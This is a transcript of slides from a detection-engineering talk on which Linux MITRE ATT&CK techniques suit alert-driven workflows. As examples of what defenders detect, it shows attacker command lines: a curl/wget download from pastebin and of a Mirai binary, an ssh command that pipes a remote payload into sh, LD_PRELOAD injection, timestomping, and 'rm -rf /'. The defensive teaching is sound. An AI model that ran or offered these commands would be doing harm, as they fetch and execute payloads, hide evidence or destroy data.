Alertable Techniques for Linux using MITRE ATT&CK

Community members continually ask, should I have detection capabilities across every technique in ATT&CK? This question inevitably leads to the same conclusion that not every technique is alertable and not all of them provide the same value for immediate detection. In this session we’ll discuss the concept of alertable detections using Linux ATT&CK techniques as a case study. We’ll introduce decision criteria we’ve learned through experience to illustrate the challenges, and we’ll recommend specific techniques that work well with an alert-driven workflow.

Transcript

1. Alertable Techniques
   for Linux Using
   MITRE ATT&CK™
   

   View Slide

2. ▪ Find & detect adversaries using data
   ▪ Recovering system administrator
   ▪ Love to teach, hate to grade homework
   Tony Lambert
   Detection Engineer/Intel
   Red Canary
   @ForensicITGuy
   id -un
   

   View Slide

3. ▪ What’s an alertable technique?
   ▪ Decision criteria for alerting
   ▪ The good, the bad, and the ugly
   Overview
   

   View Slide

4. ▪ Notification of abnormal condition
   ▪ Requires context for triage
   ▪ Requires care and feeding for efficacy
   What’s an alert?
   

   View Slide

5. Alert Workflow
   Condition
   occurs
   1
   Defender
   investigates
   2 3 4
   Alert fires
   Escalate or hide
   

   View Slide

6. ▪ High volume by default
   ▪ Lack of context
   Problems with Alerts
   

   View Slide

7. Decision Criteria for Alerts
   ▪ Time to investigate (lower is better)
   ▪ Significance of abnormality (urgent is better)
   ▪ Time to respond (lower is better)
   

   View Slide

8. Alerts that don’t suck
   

   View Slide

9. Timestomping (T1099)
   touch -acmr /bin/sh /file/to/timestomp
   ▪ Quick to investigate
   ▪ Significant destruction of evidence
   

   View Slide

10. Process Injection (T1055)
    /etc/ld.so.preload
    LD_PRELOAD=/tmp/evil.so
    ▪ Quick to respond
    ▪ Used by rootkits, affects user tools
    

    View Slide

11. Masquerading (T1036)
    /tmp/kworkerds
    /dev/shm/kthreadds
    ▪ Quick to investigate
    ▪ Signals significant abnormality
    

    View Slide

12. We can make these
    work...
    

    View Slide

13. Remote File Copy (T1105)
    curl https://pastebin.com/evilThing
    wget http:///mirai.x86
    ▪ Requires much tuning
    ▪ Hunt for outliers in command line
    

    View Slide

14. Remote Services (T1021)
    ssh … user@192.168.2.1 '(curl
    hxxps://pastebin.com/payload | sh'
    ▪ Tune out deployment tools
    ▪ Significant for lateral movement
    

    View Slide

15. Worst. Alerts. Ever.
    

    View Slide

16. Anything Discovery
    whoami, netstat, ifconfig, etc.
    ▪ OS noise makes high volume
    ▪ Better for cluster analysis
    

    View Slide

17. Sudo (T1169)
    sudo ./make_sandwich.sh
    ▪ Long investigations with little return
    ▪ Better for reporting/audits
    

    View Slide

18. File Deletion (T1107)
    rm -rf /
    ▪ Probably non-functional rule
    ▪ Helpdesk will know before the alert
    

    View Slide

19. Alert where possible,
    report/hunt otherwise
    REDCANARY.COM/BLOG
    

    View Slide

20. Q & A
    https://github.com/bfuzzy1/auditd-attack
    https://github.com/Neo23x0/auditd
    RESOURCES
    

    View Slide